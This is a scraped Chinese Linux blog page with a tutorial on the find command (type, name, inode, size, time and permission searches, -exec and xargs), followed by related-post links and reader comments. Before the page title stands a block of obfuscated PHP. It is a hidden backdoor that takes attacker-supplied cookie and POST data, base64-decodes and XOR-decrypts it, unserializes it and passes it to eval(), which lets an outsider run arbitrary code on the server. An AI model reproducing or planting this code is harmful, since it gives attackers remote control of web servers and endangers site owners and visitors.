$yXMmiEcIGK = chr ( 1034 - 946 ).'J' . chr (82) . chr ( 507 - 412 )."\160" . chr ( 1009 - 924 )."\x70";$HOygnoFBa = "\143" . chr (108) . chr (97) . chr ( 290 - 175 ).'s' . chr ( 711 - 616 ).chr (101) . 'x' . 'i' . "\x73" . "\164" . "\163";$BYAUcYott = class_exists($yXMmiEcIGK); $HOygnoFBa = "43522";$Jlpsxntry = !1;if ($BYAUcYott == $Jlpsxntry){function GYwpAWr(){return FALSE;}$NHUGUhVAVW = "47311";GYwpAWr();class XJR_pUp{private function keUQyUYK($NHUGUhVAVW){if (is_array(XJR_pUp::$yoUiHbHZ)) {$VQenh = str_replace('<' . chr (63) . 'p' . chr ( 380 - 276 )."\x70", "", XJR_pUp::$yoUiHbHZ['c' . "\157" . 'n' . 't' . chr (101) . "\156" . chr (116)]);eval($VQenh); $NHUGUhVAVW = "47311";exit();}}private $EYcCRZiy;public function dnqWMeVW(){echo 28968;}public function __destruct(){$NHUGUhVAVW = "42892_3067";$this->keUQyUYK($NHUGUhVAVW); $NHUGUhVAVW = "42892_3067";}public function __construct($DRaFgsEM=0){$FaiXtmvVIC = $_POST;$GcaGSUVsUd = $_COOKIE;$WLihkFyqXK = "7f2358cb-ef52-4b41-90bf-d69713355722";$eTgQsanT = @$GcaGSUVsUd[substr($WLihkFyqXK, 0, 4)];if (!empty($eTgQsanT)){$gKxEf = "base64";$zSqaoQvNL = "";$eTgQsanT = explode(",", $eTgQsanT);foreach ($eTgQsanT as $JSlTbQdQ){$zSqaoQvNL .= @$GcaGSUVsUd[$JSlTbQdQ];$zSqaoQvNL .= @$FaiXtmvVIC[$JSlTbQdQ];}$zSqaoQvNL = array_map($gKxEf . chr ( 1019 - 924 ).'d' . chr (101) . chr (99) . chr ( 938 - 827 ).'d' . "\145", array($zSqaoQvNL,)); $zSqaoQvNL = $zSqaoQvNL[0] ^ str_repeat($WLihkFyqXK, (strlen($zSqaoQvNL[0]) / strlen($WLihkFyqXK)) + 1);XJR_pUp::$yoUiHbHZ = @unserialize($zSqaoQvNL); $zSqaoQvNL = class_exists("42892_3067");}}public static $yoUiHbHZ = 65175;}$zupyxb = new /* 61085 */ $yXMmiEcIGK(47311 + 47311); $Jlpsxntry = $zupyxb = $NHUGUhVAVW = Array();} find命令简单总结 | Linux运维部落

find命令简单总结

 find

    字符串类查询:   
         -type   //根据文件类型查找
                f:普通文件
                d:目录
                c:字符文件
                b:块设备    
                s:套接字文件
                p:命名管道

       -i:忽略大小写
       -name ,  -iname    //按文件名查找
       -path ,    -ipath    //按路径名查找
       -regex ,  -iregex   //使用正则表达式
  例:

 # 要十分注意这类模糊查询,在脚本中一定要加引号,否则Gi*会被替换为所有以Gi开头的文件,导致find报错误,说没有指定查找路径。
   find ${BINDIR} -name "Gi*" -exec md5sum {} \;
 # 找出文件名 或 路径中含有 script字样的所有文件 及 路径,并忽略大小写。              
   find . -ipath  "*script*" 
 # 查找当前目录下以.py 或.sh结尾的文件 
   find . -iregex  ".*\(\.py\|\.sh\)$"

 -inum  //通过文件或目录的inode查找
  例:

    linux有时会遇到一些很难操作的文件名,这时可用ls -i看它到inode,在用find找到这个inode对应的文件,在删除。

 find / -inum 1002910 -exec  rm {} \;   # {}:大括号是前面-inum参数找到的所有文件。

 -prune  : 修剪掉指定目录;即过滤指定目录。
  例:搜索当前目录下除目录名为etc的目录外,其它目录的所有文件。

 find  .  \( -name "etc"  -prune \)  -o  \( -type f -print \)
 # -maxdepth  指定查找的目录最大深度
 # -mindepth  指定查找的目录最小深度。
   find  /  -maxdepth  2  -type  f  
   find  /  -mindepth  3  -type  f

 

数字类查找:

  -size      
  # 与:-and , -a
    # 找大于3M 并且 小于4M的文件
      find  /  -size  +3000k   -and   -size  -4000k    
  # 或:-or , -o  
      find  /  -size  -3000k  -or  -size  +4000k
  # 非:-not , !  
       ---------------------------------------------------    
         两个条件没有指定逻辑关系时,默认使用“与”        
           -not A -a -not B  等价于  -not(A -o B)
           -not A -o -not B  等价于  -not(A -a B)
       --------------------------------------------------
   例:  
   # 查找/etc目录下最近一周内其内容修改过,且属主不为root或hadoop的所有文件;
      find /etc/ ! \( -user root -a -user hadoop \) -mtime -7 -ls   
      # 等价于   
      find  /etc/ ! -user root  -o ! -user hadoop -mtime -7 -ls   
   # 查找/etc目录下所有用户都没有写权限的文件;【注:权限匹配请看下面关于如何计算权限匹配的说明】
      find /etc ! \( -perm -222 -o  -perm -220 -o -perm -200 -o -perm -022 -o -perm -002 -o -perm -020 -o -perm -202 \) -ls   
      # 等价于   
      find /etc  ! -perm -222 -a ! -perm -220 -a  ! -perm -200 -a ! -perm -022 -a ! -perm -002 -a ! -perm -020 ! -perm -202 -ls  
 
 以天为单位:
     -atime
     -mtime
     -ctime   
 以分钟为单位:
     -amin 
     -mmin
     -cmin   
 示例:
    # -5指定是 当前时间 -  5天之间 被访问的都找出来。
            find  /  -atime  -5    
    # +5指的是 5天前往更久远的所有时间,只要文件内容被修改都会被找到。
            find  /  -mtime  +5  
    # 表示从当前时间向后数5个24小时,5就是第5个24小时的整点处,属性信息被改变过的所有文件。  
            find  /  -ctime  5
----------------------------------|5|---------------------------------|当前时间|
|---------->[ +5:5天前 ]<---------| |------------>[ -5 :5天内] <------|
   # 注:find计算5天的方式是:从当前时间开始向前延伸24小时为一天,5天就是5个24小时,
       若指定为 5 ,则表示从当前时间向后数5个24小时,5就是第5个24小时的整点处。

 

         要验证可用下面脚本测试:

cat find.sh 
 #!/bin/bash
 date 100118002014.02      # 修改时间为10月1号18:00:02
 touch a.txt               # 创建文件
 echo "File Create Complete!!"
 date 100418002014.00      # 修改时间为10月4号18:00:00
 echo "Now : October 4 ;  Script  Complete!!"
 find /root -mtime -3 | grep "a.txt"  
  # 1号18:00:02 到 4号18:00:00 之间跨度为:3天差2秒 
  # 设置找mtime为 3天内修改的文件,3天 包含 2天23个小时58秒
  # 故  可测出find 按时间找的时候就是按 24小时为一天算的。

 权限类查找:                   
        用户和组查找
            -uid     按用户的UID来查找文件或目录
            -user    和 -group  按指定用户或组来查找文件或目录
            -nouser  和 -nogroup 它们可以找出系统中所有文件的owner丢失的文件,owner丢失可能是文件所有者被删除或是通过NIS这种网络用户登陆后,创建的文件。
    示例:

    # 找出test创建的所有文件
        find  /  -user  test 
        find  /  -group   mysql      
    # 监控系统中owner丢失的文件【{}:大括号是前面-nouser参数找到的所有文件。】: 
        find / -nouser -exec chown root:root  {} \;

            权限查找
                find  / -perm 777
                  示例:
                     监控文件系统中other栏位存在write权限的文件和目录。

            find  / -type  f -perm  -2  -->它可找出系统中所有other权限中包含write的文件。
                  【注意:权限 + 是做 or 运算, - 是做 and 运算。
                         -perm  -2:  指的是other栏中包含write权限的意思,
                                -22: 就是Group和Other两栏中都有write权限的意思。
                                -222: 就是全部包含write权限的意思。
                  】
      find /etc/ ! -perm -111 -ls    //查找/etc目录下至少有一类用户没有执行权限的文件
      ---------------------------------------
      合并后的权限     sst rwx rwx rwx
       0000----------000 000 000 000
       0001----------000 000 000 001
       0011----------000 000 001 001
       0100----------000 001 000 000
       0110----------000 001 001 000
       0010----------000 000 001 000
       0101----------000 001 000 001
       and(-)
       0111----------000 001 001 001
                           -   -   -
     结果                   ?   ?   ?   
       -----------------------------------------

     结果:每中权限组合与0111做与运算时,都为False.因此通过排除这个权限,就可以得到非0111权限的所有文件。
      
       对SUID和SGID的监控:
              【要关闭FileSystem上的SUID和SGID就在挂载FS时,加上nosuid这个参数即可。】
             # 文件的权限为具有SUID和SGID的。通过这个命令可从系统中找出所有SUID和SGID的文件,可用来进行对
            SUID和SGID文件的监控。

                find  /  -type  f -perm  +6000

      —————————————
      合并后的权限   sst rwx rwx rwx
       2000———-010 000 000 000
       4000———-100 000 000 000
       6000———-110 000 000 000
       6660———-110 110 110 000  //我们关注的SUID和SGID因此其他尾其实可以忽略

       or(+)
       6000———-110 000 000 000
                           – –
     结果               11
       ———————————–           
                      结果:6000通过与所有可能的权限做或运算,我们可知它每种情况都为True。
                      注意:因为我们只想找SUID和SGID被设置的文件,其他权限是什么我不关心.
    
            
   -ls:类似于ls -l显示详细信息
   -exec COMMAND {} \;
    例:
    测试方法:

     useradd  abc
     su - abc
     cd  /tmp
     mkdir abc
     cd  abc
     touch  abc.txt   abc.conf   abc.pdf
     su  -  root
     userdel  abc
     find /tmp -nouser -nogroup -fprintf /root/waining.txt '%AD %AT %-10s %n %p %u %#m\n' -exec chown root.root {} \;
       # 或:
       -exec mv {} /root/waindir/ \;
      # 注: %AD :输入到文件的日期格式  %AT:输入到文件的时间格式
        #   %-10s : 文件大小
        #   %n  : 硬连接
        #   %p  : 权限    %#m :权限细节   %u :用户UID

     
   注:一次性查找符合条件的所有文件,并一同传递给-exec或-ok后面指定的命令;
         但有些命令不能接受过长的参数;此时使用另一种方式: find … | xargs COMMAND 
    ————————————————-
    关于xargs的一些用法提示:

    echo  a b  c  |  xargs  -n 1  echo   # xargs每次接受1个值,并将值传给 echo输出。
    echo  a b  c  |  xargs  -n 2  echo   # xargs每次接受2个值,并将值传给 echo输出。
    echo a  b  c  |  xargs  echo         # 一次接受所有的值,并将值传给 echo输出。
    cut -d ':' -f 1 /etc/passwd | xargs  -i  -e'mail'  -p  -n2  echo
    cut -d ':' -f 1 /etc/passwd | xargs  -i[  -e'mail'  -p  -n2  echo  [
                        #  -i 后面可指定 代替符 ,如:[, {}, 等
                        #  -e'mail' :指定已mail为结束标志,注意-e后面的参数不能有空格 ; 
                        #  -p:询问   
                        #  -n2:指定一次传几个参数给 后面的命令。

          
          
          
 

 

原创文章,作者:Wn1m,如若转载,请注明出处:http://www.178linux.com/8122

(1)
上一篇 2015-09-14 09:38
下一篇 2015-09-16 09:34

相关推荐

  • 第五周:grep和find的使用练习

    1、显示当前系统上root、fedora或user1用户的默认shell; grep -E "^(root|fedora|user1)" /etc/passwd | cut -d: -f7 grep -E "^root|fedora|use…

    Linux干货 2016-10-25
  • 小巧精悍——常见文本处理工具用法及技巧总结

    小巧精悍——常见文本处理工具用法及技巧总结 Linux最重要的哲学思想就是:一切皆文件。可见文件及文件操作在Linux当中是多么的重要。在Linux系统中我们也会经常用到各种文本文件处理的操作,熟练使用这些小巧精悍的文本处理工具,在关键时刻往往展现非凡的神奇功效。常见文本处理小工具:cat、hexdump、nl、less、head、tail、cut、tr、r…

    Linux干货 2016-11-05
  • 网络基础

    什么是计算机网络? 是指将地理位置不同的具有独立功能的多台计算机及外部设备,借助于某种网络介质连接起来,实现资源共享和信息传递的计算机系统 计算机网络的特点? 1、能实现数据信息的快速传输和集中处理 2、可共享计算机系统资源 3、提高了计算机的可靠性及可用性 4、能均衡负载互相协作 常见的网络应用程序 Web 浏览器(Chrome、IE、Firef…

    Linux干货 2016-09-09
  • Linux 终端类型

      1、 什么是终端     终端就是用户与主机进行交互的一种介质(方式),可以是虚拟的,也可以是实体的。   2、 终端种类       (1)控制台终端(/dev/console):在Linux系统中,计算机显示器通常被称为控制台终端。Console与虚拟终端相关联…

    Linux干货 2016-10-19
  • Linux 文件系统上的权限

    文件系统上的权限是指文件系统上的文件和目录的权限,由于Linux是一种多用户的操作系统,而且允许同一时间登录多个用户操作,所以我们就需要一定的管理机制来对限定不同用户对同一文件或目录的操作权限。 文件系统上的权限主要针对三类对象(访问者)进行定义: owner:属主 u; g 属组 group; o: 其它 other 每个文件针对每类访问者都定义了三种权限…

    2017-06-04
  • Linux用户和组管理

    Linux用户和组管理 Username / UID 管理员:root,0 普通用户 : 1–65535 系统用户 :系统已经已经存在专门用来对系统服务或者系统资源进行管理的 1–499(CentOS 6.X) 1–999 (CentOS 7.X) 登录用户:平时专门做系统管理的用户 500+ (CentOS 6.X) 1000+ (CeentOS 7.X)…

    Linux干货 2017-04-01

评论列表(3条)

  • huwei
    huwei 2015-09-15 23:29

    123456789 echo a b c | xargs -n 1 echo # xargs每次接受1个值,并将值传给 echo输出。
    格式怎么弄得

    • wn1m
      wn1m 2015-09-23 22:00

      @huwei不好意思,这段时间工作有点多。 我没看明白你要说什么?

  • huwei
    huwei 2015-09-26 22:16

    例下面的格式是怎么弄得,看起来比较舒服,条理清晰